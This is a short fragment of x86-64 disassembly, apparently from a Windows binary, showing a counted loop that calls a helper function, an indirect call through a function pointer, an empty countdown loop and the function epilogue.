movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003dc0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x1b8
jle 0x1400028f8
mov rax, qword [rbp + 0x650]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x7f0], 0x10e
jmp 0x1400029b0
sub dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0
jg 0x1400029a9
mov eax, 0
add rsp, 0x8d8
pop rbx
pop rsi
pop rdi
pop rbp
ret